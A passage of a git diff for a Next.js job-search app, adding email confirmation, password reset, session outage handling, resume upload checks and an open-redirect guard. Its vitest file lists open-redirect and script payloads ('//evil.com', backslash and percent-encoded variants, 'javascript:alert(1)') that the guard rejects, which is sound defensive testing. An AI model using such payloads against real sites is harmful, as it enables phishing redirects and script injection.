React.useState(null); const [submitting, setSubmitting] = React.useState(false); + // Set once the account exists but email confirmation is still pending. + const [confirmationSentTo, setConfirmationSentTo] = React.useState(null); + const [resending, setResending] = React.useState(false); + const [resendNotice, setResendNotice] = React.useState(null); + const [resendError, setResendError] = React.useState(null); + const [cooldown, setCooldown] = React.useState(RESEND_COOLDOWN_SECONDS); + + React.useEffect(() => { + if (confirmationSentTo === null || cooldown <= 0) return; + const timer = window.setTimeout(() => setCooldown((seconds) => seconds - 1), 1000); + return () => window.clearTimeout(timer); + }, [confirmationSentTo, cooldown]); + async function handleSubmit(event: React.FormEvent) { event.preventDefault(); setError(null); + + const problem = passwordProblem(password); + if (problem) { + setError(problem); + return; + } + setSubmitting(true); try { - await register({ email, password, full_name: fullName }); + const { needsEmailConfirmation } = await register({ email, password, full_name: fullName }); + if (needsEmailConfirmation) { + // No session yet: /dashboard would only bounce back to /login. + setCooldown(RESEND_COOLDOWN_SECONDS); + setPassword(''); + setConfirmationSentTo(email); + return; + } router.push('/dashboard'); } catch (cause) { setError(cause instanceof Error ? cause.message : 'Something went wrong. Try again.'); @@ -31,6 +63,66 @@ export default function RegisterPage() { } } + async function handleResend() { + if (confirmationSentTo === null) return; + setResending(true); + setResendNotice(null); + setResendError(null); + try { + await resendConfirmation(confirmationSentTo); + setResendNotice("We've sent the link again. It can take a minute or two — check your spam folder too."); + setCooldown(RESEND_COOLDOWN_SECONDS); + } catch (cause) { + setResendError(cause instanceof Error ? cause.message : 'Something went wrong. Try again.'); + } finally { + setResending(false); + } + } + + if (confirmationSentTo !== null) { + return ( + +
+
+
+

+ We sent a confirmation link to {confirmationSentTo}. Open it to + confirm your account, then sign in. If it doesn't arrive within a few minutes, check your spam folder — or, if you + already have an account with this address, just sign in. +

+ +
+ {resendNotice ?

{resendNotice}

: null} +
+ {resendError ? ( +

+ {resendError} +

+ ) : null} + + + + +
+
+ ); + } + return ( @@ -49,14 +141,22 @@ export default function RegisterPage() { id="password" type="password" required - minLength={12} + minLength={MIN_PASSWORD_LENGTH} + maxLength={MAX_PASSWORD_LENGTH} autoComplete="new-password" + aria-describedby="password-hint" value={password} onChange={(e) => setPassword(e.target.value)} /> -

At least 12 characters.

+

+ At least {MIN_PASSWORD_LENGTH} characters. +

- {error ?

{error}

: null} + {error ? ( +

+ {error} +

+ ) : null} diff --git a/apps/web/src/app/reset-password/page.tsx b/apps/web/src/app/reset-password/page.tsx new file mode 100644 index 0000000..4e756cc --- /dev/null +++ b/apps/web/src/app/reset-password/page.tsx @@ -0,0 +1,11 @@ +import type { Metadata } from 'next'; +import { ResetPasswordForm } from '@/components/auth/ResetPasswordForm'; + +export const metadata: Metadata = { + title: 'Choose a new password', + robots: { index: false, follow: false }, +}; + +export default function ResetPasswordPage() { + return ; +} diff --git a/apps/web/src/components/auth/AuthShell.tsx b/apps/web/src/components/auth/AuthShell.tsx index 41c834c..869e31d 100644 --- a/apps/web/src/components/auth/AuthShell.tsx +++ b/apps/web/src/components/auth/AuthShell.tsx @@ -20,9 +20,9 @@ export function AuthShell({ title, subtitle, children }: { title: string; subtit
- +

- One route, four steps, zero manual spreadsheet tracking. + One route, four steps, and your whole search in one place.

diff --git a/apps/web/src/components/auth/ForgotPasswordForm.tsx b/apps/web/src/components/auth/ForgotPasswordForm.tsx new file mode 100644 index 0000000..3b65bff --- /dev/null +++ b/apps/web/src/components/auth/ForgotPasswordForm.tsx @@ -0,0 +1,101 @@ +'use client'; + +import { useSession } from '@/lib/auth-context'; +import { AuthShell } from '@/components/auth/AuthShell'; +import { Button, Input, Label } from '@atlas/ui'; +import { MailCheck } from 'lucide-react'; +import Link from 'next/link'; +import { useSearchParams } from 'next/navigation'; +import * as React from 'react'; + +/** `error=link_invalid` comes from app/auth/callback/route.ts when a recovery link can't be exchanged. */ +function LinkErrorNotice() { + const searchParams = useSearchParams(); + if (searchParams.get('error') !== 'link_invalid') return null; + return ( +

+ That reset link is invalid or has expired. Enter your email and we'll send you a new one. +

+ ); +} + +export function ForgotPasswordForm() { + const { requestPasswordReset } = useSession(); + const [email, setEmail] = React.useState(''); + const [sentTo, setSentTo] = React.useState(null); + const [error, setError] = React.useState(null); + const [submitting, setSubmitting] = React.useState(false); + + async function handleSubmit(event: React.FormEvent) { + event.preventDefault(); + setError(null); + setSubmitting(true); + try { + await requestPasswordReset(email); + setSentTo(email); + } catch (cause) { + setError(cause instanceof Error ? cause.message : 'Something went wrong. Try again.'); + } finally { + setSubmitting(false); + } + } + + if (sentTo !== null) { + return ( + +
+
+
+ {/* Same wording whether or not the address has an account, so this form can't be used to look up who's registered. */} +

+ If there's an Atlas account for {sentTo}, we've sent a + link to reset its password. It can take a minute or two to arrive — check your spam folder too. Open the link in this same + browser. +

+ + +
+
+ ); + } + + return ( + + + + +
+
+ + setEmail(e.target.value)} /> +
+ {error ? ( +

+ {error} +

+ ) : null} + +
+

+ Remembered it?{' '} + + Sign in + +

+
+ ); +} diff --git a/apps/web/src/components/auth/ResetPasswordForm.tsx b/apps/web/src/components/auth/ResetPasswordForm.tsx new file mode 100644 index 0000000..b48fa87 --- /dev/null +++ b/apps/web/src/components/auth/ResetPasswordForm.tsx @@ -0,0 +1,137 @@ +'use client'; + +import { useSession } from '@/lib/auth-context'; +import { AuthShell } from '@/components/auth/AuthShell'; +import { MAX_PASSWORD_LENGTH, MIN_PASSWORD_LENGTH, passwordProblem } from '@/lib/password'; +import { Button, Input, Label } from '@atlas/ui'; +import { CircleCheck } from 'lucide-react'; +import Link from 'next/link'; +import * as React from 'react'; + +/** + * The page a password-recovery link lands on, via /auth/callback, which has + * already exchanged the emailed code for a (recovery) session. So "is there a + * session?" is the whole check for whether the link was good — including + * `unavailable`, where our own backend is down but the Supabase session, which + * is all updatePassword needs, is fine. + */ +export function ResetPasswordForm() { + const { status, updatePassword } = useSession(); + const [password, setPassword] = React.useState(''); + const [confirmation, setConfirmation] = React.useState(''); + const [error, setError] = React.useState(null); + const [submitting, setSubmitting] = React.useState(false); + const [done, setDone] = React.useState(false); + + async function handleSubmit(event: React.FormEvent) { + event.preventDefault(); + setError(null); + + const problem = passwordProblem(password); + if (problem) { + setError(problem); + return; + } + if (password !== confirmation) { + setError("The two passwords don't match."); + return; + } + + setSubmitting(true); + try { + await updatePassword(password); + setPassword(''); + setConfirmation(''); + setDone(true); + } catch (cause) { + setError(cause instanceof Error ? cause.message : 'Something went wrong. Try again.'); + } finally { + setSubmitting(false); + } + } + + if (done) { + return ( + +
+
+
+ +
+
+ ); + } + + if (status === 'loading') { + return ( + +
+ One moment… +
+
+ ); + } + + if (status === 'unauthenticated') { + return ( + +
+

+ Reset links work once, for a limited time, and only in the browser you requested them from. Request a new one to continue. +

+ +
+
+ ); + } + + return ( + +
+
+ + setPassword(e.target.value)} + /> +

+ At least {MIN_PASSWORD_LENGTH} characters. +

+
+
+ + setConfirmation(e.target.value)} + /> +
+ {error ? ( +

+ {error} +

+ ) : null} + +
+
+ ); +} diff --git a/apps/web/src/components/dashboard/DashboardShell.tsx b/apps/web/src/components/dashboard/DashboardShell.tsx new file mode 100644 index 0000000..9410c7b --- /dev/null +++ b/apps/web/src/components/dashboard/DashboardShell.tsx @@ -0,0 +1,61 @@ +'use client'; + +import { useSession } from '@/lib/auth-context'; +import { Sidebar } from '@/components/dashboard/Sidebar'; +import { Topbar } from '@/components/dashboard/Topbar'; +import { Button } from '@atlas/ui'; +import { useRouter } from 'next/navigation'; +import * as React from 'react'; + +export function DashboardShell({ children }: { children: React.ReactNode }) { + const router = useRouter(); + const { status, retry, logout } = useSession(); + + React.useEffect(() => { + if (status === 'unauthenticated') router.replace('/login'); + }, [status, router]); + + if (status === 'unavailable') { + return ( +
+

We can't reach Atlas right now

+

+ You're still signed in. This is usually temporary — give it a moment and try again. +

+
+ + +
+
+ ); + } + + if (status !== 'authenticated') { + return ( +
+ {status === 'loading' ? 'Loading your route…' : 'Redirecting to sign in…'} +
+ ); + } + + return ( +
+ +
+ +
{children}
+
+
+ ); +} diff --git a/apps/web/src/components/dashboard/ResourceError.tsx b/apps/web/src/components/dashboard/ResourceError.tsx new file mode 100644 index 0000000..c28e858 --- /dev/null +++ b/apps/web/src/components/dashboard/ResourceError.tsx @@ -0,0 +1,22 @@ +'use client'; + +import { Button, Card, CardDescription, CardTitle } from '@atlas/ui'; +import { RefreshCw } from 'lucide-react'; + +/** + * What a dashboard page shows when its data couldn't be loaded. Deliberately + * generic: the raw error and the name of whichever backend service failed are + * internals, not something to put in front of a job seeker. + */ +export function ResourceError({ what, onRetry }: { what: string; onRetry: () => void }) { + return ( + + We couldn't load {what} + This is usually temporary. Check your connection and try again. + + + ); +} diff --git a/apps/web/src/components/dashboard/SkeletonGroup.tsx b/apps/web/src/components/dashboard/SkeletonGroup.tsx new file mode 100644 index 0000000..409dfbf --- /dev/null +++ b/apps/web/src/components/dashboard/SkeletonGroup.tsx @@ -0,0 +1,14 @@ +import type { ReactNode } from 'react'; + +/** + * Wraps placeholder skeletons so assistive tech hears "loading" once, instead + * of encountering a run of unlabelled empty boxes. + */ +export function SkeletonGroup({ label, className, children }: { label: string; className?: string; children: ReactNode }) { + return ( +
+ {label} + {children} +
+ ); +} diff --git a/apps/web/src/components/marketing/CompanyMarquee.tsx b/apps/web/src/components/marketing/CompanyMarquee.tsx deleted file mode 100644 index 2f84bbd..0000000 --- a/apps/web/src/components/marketing/CompanyMarquee.tsx +++ /dev/null @@ -1,133 +0,0 @@ -'use client'; - -import { Marquee, fadeUp, viewportOnce } from '@atlas/ui'; -import { motion } from 'framer-motion'; - -/** - * Simple geometric glyphs, not logo reproductions — same spirit as the - * reference mockup, which used generic placeholder icons next to each - * name rather than pixel-accurate brand marks. `currentColor`-based so the - * hover color swap on the wrapping element carries through automatically. - */ -function RingGlyph({ className }: { className?: string }) { - return ( - - - - ); -} -function GridGlyph({ className }: { className?: string }) { - return ( - - - - - ); -} -function TriangleGlyph({ className }: { className?: string }) { - return ( - - - - ); -} -function InfinityGlyph({ className }: { className?: string }) { - return ( - - - - - ); -} -function DiamondGlyph({ className }: { className?: string }) { - return ( - - - - ); -} -function BarsGlyph({ className }: { className?: string }) { - return ( - - - - ); -} -function HexGlyph({ className }: { className?: string }) { - return ( - - - - ); -} -function SlashGlyph({ className }: { className?: string }) { - return ( - - - - ); -} -function ArcGlyph({ className }: { className?: string }) { - return ( - - - - ); -} -function SquareGlyph({ className }: { className?: string }) { - return ( - - - - ); -} - -const ROW_ONE = [ - { name: 'Google', Glyph: RingGlyph }, - { name: 'Microsoft', Glyph: GridGlyph }, - { name: 'Amazon', Glyph: ArcGlyph }, - { name: 'Stripe', Glyph: SlashGlyph }, - { name: 'Vercel', Glyph: TriangleGlyph }, -]; -const ROW_TWO = [ - { name: 'Meta', Glyph: InfinityGlyph }, - { name: 'Apple', Glyph: SquareGlyph }, - { name: 'OpenAI', Glyph: HexGlyph }, - { name: 'Linear', Glyph: BarsGlyph }, - { name: 'Netflix', Glyph: DiamondGlyph }, -]; - -function MarqueeRow({ companies, reverse }: { companies: typeof ROW_ONE; reverse: boolean }) { - return ( - -
- {companies.map(({ name, Glyph }) => ( -
- - {name} -
- ))} -
-
- ); -} - -export function CompanyMarquee() { - return ( -
- - Where the people using Atlas work - -
- - -
-
- ); -} diff --git a/apps/web/src/components/marketing/DemoPreview.tsx b/apps/web/src/components/marketing/DemoPreview.tsx deleted file mode 100644 index 5d828c3..0000000 --- a/apps/web/src/components/marketing/DemoPreview.tsx +++ /dev/null @@ -1,46 +0,0 @@ -'use client'; - -import { ShimmerText, fadeUp, viewportOnce } from '@atlas/ui'; -import { motion } from 'framer-motion'; -import { Play } from 'lucide-react'; - -/** - * An honest placeholder, not a fake product demo — it says "coming soon" - * and means it. The point is the motion/glass treatment, not the content. - */ -export function DemoPreview() { - return ( -
-
- -

- See Atlas in motion. -

-

A walkthrough of the pipeline, end to end.

-
- - -
-
- -
- - Demo coming soon - -
- -
- - REC -
-
-
-
- ); -} diff --git a/apps/web/src/lib/auth-context.tsx b/apps/web/src/lib/auth-context.tsx index abb0a98..d9f5940 100644 --- a/apps/web/src/lib/auth-context.tsx +++ b/apps/web/src/lib/auth-context.tsx @@ -3,27 +3,70 @@ import type { PublicUser } from '@atlas/types'; import type { Session } from '@supabase/supabase-js'; import * as React from 'react'; +import { ApiError } from './api'; import * as authApi from './services/auth'; import { createClient } from './supabase/client'; export type OAuthProvider = 'google' | 'azure' | 'github'; interface SessionState { - status: 'loading' | 'authenticated' | 'unauthenticated'; + /** + * `unavailable` means Supabase holds a session for this browser but our own + * backend couldn't be asked who it belongs to (outage, network). That is not + * the same as signed out, and treating it so would log everyone out whenever + * the API hiccups. + */ + status: 'loading' | 'authenticated' | 'unauthenticated' | 'unavailable'; user: PublicUser | null; accessToken: string | null; } +export interface RegisterInput { + email: string; + password: string; + full_name: string; +} + +export interface RegisterResult { + /** + * True when Supabase created the account but returned no session — i.e. + * email confirmation is on and the user must click the emailed link first. + * Also true for an address that is already registered (Supabase hides that + * on purpose), so callers must not treat it as proof the address is new. + */ + needsEmailConfirmation: boolean; +} + interface SessionContextValue extends SessionState { login: (email: string, password: string) => Promise; - register: (input: { email: string; password: string; full_name: string; organization_name?: string }) => Promise; + register: (input: RegisterInput) => Promise; + /** Re-sends the signup confirmation email. */ + resendConfirmation: (email: string) => Promise; + /** Emails a password-reset link. Resolves the same way whether or not the address has an account. */ + requestPasswordReset: (email: string) => Promise; + /** Sets a new password on the current session (the recovery session, after following a reset link). */ + updatePassword: (password: string) => Promise; /** 'azure' is Supabase's provider id for Microsoft — not our own naming. */ signInWithOAuth: (provider: OAuthProvider) => Promise; logout: () => Promise; + /** Re-checks the session after an `unavailable` result. */ + retry: () => Promise; } const SessionContext = React.createContext(null); +const SIGNED_OUT: SessionState = { status: 'unauthenticated', user: null, accessToken: null }; + +/** + * Supabase answers rate-limited auth-email requests with 429 / an + * `over_*_rate_limit` code. Those only happen for addresses that exist, so the + * password-reset and resend flows swallow them: showing a different message + * would let anyone probe which emails are registered. + */ +function isRateLimited(error: { status?: number; code?: string }): boolean { + return error.status === 429 || (error.code?.includes('rate_limit') ?? false); +} + export function SessionProvider({ children }: { children: React.ReactNode }) { const [supabase] = React.useState(() => createClient()); const [state, setState] = React.useState({ status: 'loading', user: null, accessToken: null }); @@ -31,14 +74,29 @@ export function SessionProvider({ children }: { children: React.ReactNode }) { const applySession = React.useCallback( async (session: Session | null) => { if (!session) { - setState({ status: 'unauthenticated', user: null, accessToken: null }); + setState(SIGNED_OUT); return; } + // Without this, a fresh sign-in leaves the status at 'unauthenticated' + // while /v1/auth/me is in flight, and the dashboard layout bounces the + // user straight back to /login. + setState((prev) => (prev.status === 'authenticated' ? prev : { status: 'loading', user: null, accessToken: null })); try { const profile = await authApi.me(session.access_token); setState({ status: 'authenticated', user: profile.user, accessToken: session.access_token }); - } catch { - setState({ status: 'unauthenticated', user: null, accessToken: null }); + } catch (cause) { + // Only a 401 means the session itself is no good. Anything else + // (network, 5xx) is our backend being unreachable: keep an already + // loaded user signed in, otherwise report the outage honestly. + if (cause instanceof ApiError && cause.status === 401) { + setState(SIGNED_OUT); + return; + } + setState((prev) => + prev.user + ? { ...prev, accessToken: session.access_token } + : { status: 'unavailable', user: null, accessToken: session.access_token }, + ); } }, [], @@ -58,18 +116,64 @@ export function SessionProvider({ children }: { children: React.ReactNode }) { const login = React.useCallback( async (email: string, password: string) => { const { error } = await supabase.auth.signInWithPassword({ email, password }); - if (error) throw new Error(error.message); + if (error) { + if (error.code === 'email_not_confirmed') { + throw new Error('Please confirm your email address first — check your inbox for the confirmation link.'); + } + throw new Error(error.message); + } }, [supabase], ); const register = React.useCallback( - async (input: { email: string; password: string; full_name: string; organization_name?: string }) => { - const { error } = await supabase.auth.signUp({ + async (input: RegisterInput): Promise => { + const { data, error } = await supabase.auth.signUp({ email: input.email, password: input.password, - options: { data: { full_name: input.full_name, organization_name: input.organization_name } }, + options: { + data: { full_name: input.full_name }, + // The confirmation link comes back through the same code exchange as OAuth. + emailRedirectTo: `${window.location.origin}/auth/callback`, + }, + }); + if (error) throw new Error(error.message); + return { needsEmailConfirmation: data.session === null }; + }, + [supabase], + ); + + const resendConfirmation = React.useCallback( + async (email: string) => { + const { error } = await supabase.auth.resend({ + type: 'signup', + email, + options: { emailRedirectTo: `${window.location.origin}/auth/callback` }, + }); + if (error && !isRateLimited(error)) { + console.error('resend confirmation failed', error.status, error.code); + throw new Error("We couldn't send the email just now. Please try again in a moment."); + } + }, + [supabase], + ); + + const requestPasswordReset = React.useCallback( + async (email: string) => { + const { error } = await supabase.auth.resetPasswordForEmail(email, { + redirectTo: `${window.location.origin}/auth/callback?next=/reset-password`, }); + if (error && !isRateLimited(error)) { + console.error('password reset request failed', error.status, error.code); + throw new Error("We couldn't send the email just now. Please try again in a moment."); + } + }, + [supabase], + ); + + const updatePassword = React.useCallback( + async (password: string) => { + const { error } = await supabase.auth.updateUser({ password }); if (error) throw new Error(error.message); }, [supabase], @@ -88,12 +192,28 @@ export function SessionProvider({ children }: { children: React.ReactNode }) { const logout = React.useCallback(async () => { await supabase.auth.signOut(); - setState({ status: 'unauthenticated', user: null, accessToken: null }); + setState(SIGNED_OUT); }, [supabase]); + const retry = React.useCallback(async () => { + setState({ status: 'loading', user: null, accessToken: null }); + const { data } = await supabase.auth.getSession(); + await applySession(data.session); + }, [supabase, applySession]); + const value = React.useMemo( - () => ({ ...state, login, register, signInWithOAuth, logout }), - [state, login, register, signInWithOAuth, logout], + () => ({ + ...state, + login, + register, + resendConfirmation, + requestPasswordReset, + updatePassword, + signInWithOAuth, + logout, + retry, + }), + [state, login, register, resendConfirmation, requestPasswordReset, updatePassword, signInWithOAuth, logout, retry], ); return {children}; diff --git a/apps/web/src/lib/password.ts b/apps/web/src/lib/password.ts new file mode 100644 index 0000000..366a437 --- /dev/null +++ b/apps/web/src/lib/password.ts @@ -0,0 +1,14 @@ +/** + * Mirrors `passwordSchema` in packages/types/src/api.ts (12–256 characters). + * Duplicated rather than imported: that module pulls zod and every request + * schema into the client bundle for the sake of two numbers. + */ +export const MIN_PASSWORD_LENGTH = 12; +export const MAX_PASSWORD_LENGTH = 256; + +/** A user-facing reason the password is unacceptable, or null when it's fine. */ +export function passwordProblem(password: string): string | null { + if (password.length < MIN_PASSWORD_LENGTH) return `Password must be at least ${MIN_PASSWORD_LENGTH} characters.`; + if (password.length > MAX_PASSWORD_LENGTH) return `Password must be at most ${MAX_PASSWORD_LENGTH} characters.`; + return null; +} diff --git a/apps/web/src/lib/resume-file.ts b/apps/web/src/lib/resume-file.ts new file mode 100644 index 0000000..27f9e4c --- /dev/null +++ b/apps/web/src/lib/resume-file.ts @@ -0,0 +1,43 @@ +/** + * Vercel rejects request bodies over ~4.5 MB before they reach the function, + * with a plain-text error we can't show nicely. Stay safely under it. + */ +export const MAX_RESUME_BYTES = 4 * 1024 * 1024; + +/** extension -> the content type profile-service dispatches on (see services/profile/src/lib/extract-text.ts). */ +const CONTENT_TYPE_BY_EXTENSION: Record = { + pdf: 'application/pdf', + docx: 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', + txt: 'text/plain', +}; + +export type ResumeFileCheck = { ok: true; file: File } | { ok: false; message: string }; + +function extensionOf(filename: string): string { + const dot = filename.lastIndexOf('.'); + return dot === -1 ? '' : filename.slice(dot + 1).toLowerCase(); +} + +/** + * Client-side checks run before the upload, so the user gets a clear message + * instead of a failed request: PDF/DOCX/TXT only, non-empty, at most 4 MB. + * + * The server picks a parser from the multipart content type, and browsers + * sometimes report an empty or generic one (`application/octet-stream`) for + * .docx/.txt, so the file is re-typed from its extension when that happens. + */ +export function checkResumeFile(file: File): ResumeFileCheck { + const expectedType = CONTENT_TYPE_BY_EXTENSION[extensionOf(file.name)]; + if (!expectedType) { + return { ok: false, message: 'Please choose a PDF, DOCX, or plain-text (.txt) file.' }; + } + if (file.size === 0) { + return { ok: false, message: 'That file is empty. Please choose a different one.' }; + } + if (file.size > MAX_RESUME_BYTES) { + const sizeMb = (file.size / (1024 * 1024)).toFixed(1); + return { ok: false, message: `That file is ${sizeMb} MB. Resumes can be at most 4 MB — try a smaller or compressed copy.` }; + } + if (file.type === expectedType) return { ok: true, file }; + return { ok: true, file: new File([file], file.name, { type: expectedType, lastModified: file.lastModified }) }; +} diff --git a/apps/web/src/lib/safe-redirect.ts b/apps/web/src/lib/safe-redirect.ts new file mode 100644 index 0000000..6396f03 --- /dev/null +++ b/apps/web/src/lib/safe-redirect.ts @@ -0,0 +1,50 @@ +/** Where a successful sign-in lands when no (valid) `next` is supplied. */ +export const DEFAULT_NEXT_PATH = '/dashboard'; + +const MAX_NEXT_LENGTH = 2048; + +/** + * ASCII control characters, including tab/CR/LF — URL parsers silently strip + * those, so `//evil.com` would otherwise turn into `//evil.com`. + */ +function hasControlCharacter(value: string): boolean { + for (let i = 0; i < value.length; i++) { + const code = value.charCodeAt(i); + if (code <= 0x1f || code === 0x7f) return true; + } + return false; +} + +/** + * A same-origin path: exactly one leading slash (so not protocol-relative), + * and no backslash, which browsers treat as a slash (`/\evil.com` is + * `//evil.com` to them). + */ +function isSameOriginPath(value: string): boolean { + return value.startsWith('/') && !value.startsWith('//') && !value.includes('\\') && !hasControlCharacter(value); +} + +/** + * Validates the `next` query parameter that /auth/callback redirects to after + * a successful sign-in, so it can't be turned into an open redirect. + * + * Only same-origin relative paths are accepted (e.g. `/dashboard?tab=1`). + * Anything else — absolute URLs, `//host`, `@host`/`.host` (which become + * userinfo or a lookalike subdomain when concatenated onto an origin), + * backslashes, control characters, or a percent-encoded form of any of + * those — returns `fallback`. + */ +export function safeNextPath(next: string | null | undefined, fallback: string = DEFAULT_NEXT_PATH): string { + if (typeof next !== 'string' || next.length === 0 || next.length > MAX_NEXT_LENGTH) return fallback; + if (!isSameOriginPath(next)) return fallback; + + // Re-check the decoded form: `/%2F/evil.com` and `/%5Cevil.com` are + // harmless as-is, but anything downstream that decodes once would not be. + let decoded: string; + try { + decoded = decodeURIComponent(next); + } catch { + return fallback; + } + return isSameOriginPath(decoded) ? next : fallback; +} diff --git a/apps/web/src/lib/services/profile.ts b/apps/web/src/lib/services/profile.ts index 5ba315c..b042bff 100644 --- a/apps/web/src/lib/services/profile.ts +++ b/apps/web/src/lib/services/profile.ts @@ -12,10 +12,18 @@ export async function uploadResume(file: File, accessToken: string): Promise 0 ? JSON.parse(text) : undefined; + } catch { + data = undefined; + } if (!res.ok) { - const errorBody = data as { error: { code: string; message: string } }; - throw new ApiError(res.status, errorBody.error.code, errorBody.error.message); + const errorBody = data as { error?: { code?: string; message?: string } } | undefined; + throw new ApiError(res.status, errorBody?.error?.code ?? 'INTERNAL_ERROR', errorBody?.error?.message ?? res.statusText); } return data as CreateResumeResponse; } diff --git a/apps/web/src/lib/site.ts b/apps/web/src/lib/site.ts new file mode 100644 index 0000000..8f1c27e --- /dev/null +++ b/apps/web/src/lib/site.ts @@ -0,0 +1,21 @@ +const LOCAL_ORIGIN = 'http://localhost:3000'; + +/** + * Absolute origin of the deployed site, for canonical URLs, Open Graph tags, + * robots.txt and the sitemap. Resolved on the server at build time. + * + * Set NEXT_PUBLIC_SITE_URL to the public origin (e.g. https://atlas.example). + * On Vercel it falls back to the project's production domain, which Vercel + * injects as a bare host (VERCEL_PROJECT_PRODUCTION_URL); anywhere else it + * falls back to localhost, which is only right for local development. + */ +export function siteUrl(): URL { + const configured = + process.env.NEXT_PUBLIC_SITE_URL?.trim() || process.env.VERCEL_PROJECT_PRODUCTION_URL?.trim() || LOCAL_ORIGIN; + const withProtocol = /^https?:\/\//i.test(configured) ? configured : `https://${configured}`; + try { + return new URL(withProtocol); + } catch { + return new URL(LOCAL_ORIGIN); + } +} diff --git a/apps/web/src/lib/use-resource.ts b/apps/web/src/lib/use-resource.ts index 36495b7..2ff857c 100644 --- a/apps/web/src/lib/use-resource.ts +++ b/apps/web/src/lib/use-resource.ts @@ -32,7 +32,9 @@ export function useResource(fetcher: () => Promise, deps: React.Dependency }) .catch((cause: unknown) => { if (cancelled) return; - setError(cause instanceof ApiError ? cause.message : 'Could not reach this service.'); + // Pages render their own friendly copy and a retry button; this string + // is only a fallback, never named after an internal service. + setError(cause instanceof ApiError ? cause.message : 'Something went wrong. Please try again.'); }) .finally(() => { if (!cancelled) setLoading(false); diff --git a/apps/web/test/safe-redirect.test.ts b/apps/web/test/safe-redirect.test.ts new file mode 100644 index 0000000..38fc444 --- /dev/null +++ b/apps/web/test/safe-redirect.test.ts @@ -0,0 +1,82 @@ +import { describe, expect, it } from 'vitest'; +import { DEFAULT_NEXT_PATH, safeNextPath } from '../src/lib/safe-redirect'; + +const ORIGIN = 'https://atlas.example'; + +describe('safeNextPath', () => { + it.each([ + ['/dashboard'], + ['/dashboard/resume'], + ['/reset-password'], + ['/'], + ['/dashboard?tab=jobs&page=2'], + ['/dashboard#section'], + ['/path//with//inner//slashes'], + ['/caf%C3%A9'], + ])('allows the same-origin path %s unchanged', (path) => { + expect(safeNextPath(path)).toBe(path); + }); + + it.each([[null], [undefined], ['']])('falls back to the default for %s', (value) => { + expect(safeNextPath(value)).toBe(DEFAULT_NEXT_PATH); + }); + + it.each([ + // userinfo / lookalike-host tricks against `${origin}${next}` + ['@evil.com'], + ['.evil.com'], + [':443@evil.com'], + // protocol-relative + ['//evil.com'], + ['///evil.com'], + ['//evil.com/dashboard'], + // absolute and scheme URLs + ['https://evil.com'], + ['http://evil.com/dashboard'], + ['javascript:alert(1)'], + ['data:text/html,'], + // not a path at all + ['dashboard'], + ['evil.com'], + [' /dashboard'], + // backslashes are slashes to browsers + ['/\\evil.com'], + ['\\\\evil.com'], + ['\\evil.com'], + ['/dashboard\\..\\..'], + // control characters that URL parsers strip + ['/\t/evil.com'], + ['/\n/evil.com'], + ['/\r/evil.com'], + ['/dashboard\u0000'], + // percent-encoded variants of the above + ['/%2F/evil.com'], + ['/%2f/evil.com'], + ['/%5Cevil.com'], + ['/%09/evil.com'], + ['/%0A/evil.com'], + // malformed escapes can't be validated, so are refused + ['/%E0%A4%A'], + ['/%'], + ])('rejects %j', (value) => { + expect(safeNextPath(value)).toBe(DEFAULT_NEXT_PATH); + }); + + it('rejects absurdly long values', () => { + expect(safeNextPath(`/${'a'.repeat(5000)}`)).toBe(DEFAULT_NEXT_PATH); + }); + + it('uses the supplied fallback', () => { + expect(safeNextPath('//evil.com', '/login')).toBe('/login'); + expect(safeNextPath(null, '/login')).toBe('/login'); + expect(safeNextPath('/dashboard', '/login')).toBe('/dashboard'); + }); + + it('never yields a URL that leaves the origin once resolved against it', () => { + const attacks = ['@evil.com', '.evil.com', '//evil.com', '/\\evil.com', '/\t/evil.com', '/%2F/evil.com', 'https://evil.com']; + for (const attack of attacks) { + const resolved = new URL(safeNextPath(attack), ORIGIN); + expect(resolved.origin).toBe(ORIGIN); + } + }); +}); From 91cb4c829666660b3eb60240769c3bcd834a5f9f Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 13:13:49 +0000 Subject: [PATCH 45/91] chore(build): rebundle backend functions after merging idempotent consumers Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- api/analytics/index.js | 39 +++++-- api/applications/index.js | 39 +++++-- api/jobs/index.js | 39 +++++-- api/learning/index.js | 185 +++++++++++++++++++++++------- api/matching/index.js | 236 ++++++++++++++++++++++++++++---------- api/outreach/index.js | 39 +++++-- api/profile/index.js | 39 +++++-- api/referrals/index.js | 104 ++++++++++++++--- 8 files changed, 552 insertions(+), 168 deletions(-) diff --git a/api/analytics/index.js b/api/analytics/index.js index 216c543..927617c 100644 --- a/api/analytics/index.js +++ b/api/analytics/index.js @@ -85079,9 +85079,22 @@ var DEFAULT_RETENTION_MS = 7 * 24 * 60 * 60 * 1e3; var DEFAULT_DRAIN_LIMIT = 100; var DEFAULT_DRAIN_BUDGET_MS = 2e4; var FAN_OUT_BATCH = 500; +var PUBLISH_BATCH = 500; var DEFAULT_PURGE_LIMIT = 500; var MAX_ERROR_LENGTH = 300; var MAX_CONSUMER_LENGTH = 160; +function outboxRow(event) { + return { + eventId: event.event_id, + eventType: event.event_type, + occurredAt: event.occurred_at, + traceId: event.trace.trace_id, + correlationId: event.trace.correlation_id, + organizationId: event.trace.organization_id, + userId: event.trace.user_id, + payload: event.payload + }; +} function inList(values2) { return sql.join( values2.map((value) => sql`${value}`), @@ -85122,16 +85135,22 @@ var PostgresBroker = class { async publish(envelope) { this.assertOpen(); const event = parseEvent(envelope); - await this.db.insert(schema_exports.eventOutbox).values({ - eventId: event.event_id, - eventType: event.event_type, - occurredAt: event.occurred_at, - traceId: event.trace.trace_id, - correlationId: event.trace.correlation_id, - organizationId: event.trace.organization_id, - userId: event.trace.user_id, - payload: event.payload - }).onConflictDoNothing({ target: schema_exports.eventOutbox.eventId }); + await this.db.insert(schema_exports.eventOutbox).values(outboxRow(event)).onConflictDoNothing({ target: schema_exports.eventOutbox.eventId }); + } + /** + * `publish` for many envelopes at once: one multi-row INSERT per + * `PUBLISH_BATCH` (idempotent on `event_id`, also against duplicates inside + * the batch). A fan-out handler that emits hundreds of events needs this, or + * it spends its function budget on round trips. All envelopes are validated + * before the first write; the writes themselves are not one transaction, so a + * failure part-way leaves earlier batches published (see `BatchPublisher`). + */ + async publishMany(envelopes) { + this.assertOpen(); + const events = envelopes.map((envelope) => parseEvent(envelope)); + for (let start = 0; start < events.length; start += PUBLISH_BATCH) { + await this.db.insert(schema_exports.eventOutbox).values(events.slice(start, start + PUBLISH_BATCH).map(outboxRow)).onConflictDoNothing({ target: schema_exports.eventOutbox.eventId }); + 